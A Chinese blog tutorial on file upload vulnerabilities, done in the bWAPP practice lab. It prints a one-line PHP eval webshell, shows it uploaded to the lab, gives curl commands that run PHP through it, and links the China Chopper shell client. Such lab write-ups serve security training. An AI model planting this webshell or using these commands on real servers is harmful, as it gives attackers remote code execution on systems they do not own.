Web安全（一）文件上传漏洞[一]

最新推荐文章于 2023-03-21 17:25:01 发布

肥胖喵

最新推荐文章于 2023-03-21 17:25:01 发布

阅读量647

点赞数

分类专栏： Web安全文章标签： shell php

本文链接：https://blog.csdn.net/qq_43681532/article/details/114781319

版权

2 篇文章 0 订阅

订阅专栏

文件上传漏洞概述

文件上传（File Upload）是大部分Web应用都具备的功能，例如用户上传附件、改头像、分享图片等。

文件上传漏洞是在开发者没有做充足验证（包括前端，后端）情况下，允许用户上传恶意文件，这里上传的文件可以是木马、病毒、恶意脚本或者Webshell等。

eval( string $code)

把字符串 code 作为PHP代码执行。函数eval()语言结构允许执行任意 PHP 代码。code为需要被执行的字符串。

代码执行的作用域是调用 eval() 处的作用域。因此，eval() 里任何的变量定义、修改，都会在函数结束后被保留。

<?php @eval($_POST['hacker']); ?>

新建文本文件写入PHP一句话木马，并将txt后缀改为php.

在这里插入图片描述

登录bwapp靶场后选择Unrestricted File Upload,文件上传漏洞上传文件，上传后可以看到路径为靶场路径+/images/shell.php

在这里插入图片描述

在cmd执行

curl -d "hacker=echo get_current_user();" 靶场路径/images/shell.php
curl -d "hacker=echo getcwd();" 靶场路径/images/shell.php

get_current_user — 获取当前 PHP 脚本所有者名称

getcwd — 取得当前工作目录。
在这里插入图片描述

下载链接：https://github.com/raddyfiy/caidao-official-version

打开软件后，右键添加SHELL连接即可。

在这里插入图片描述

在这里插入图片描述

关注

专栏目录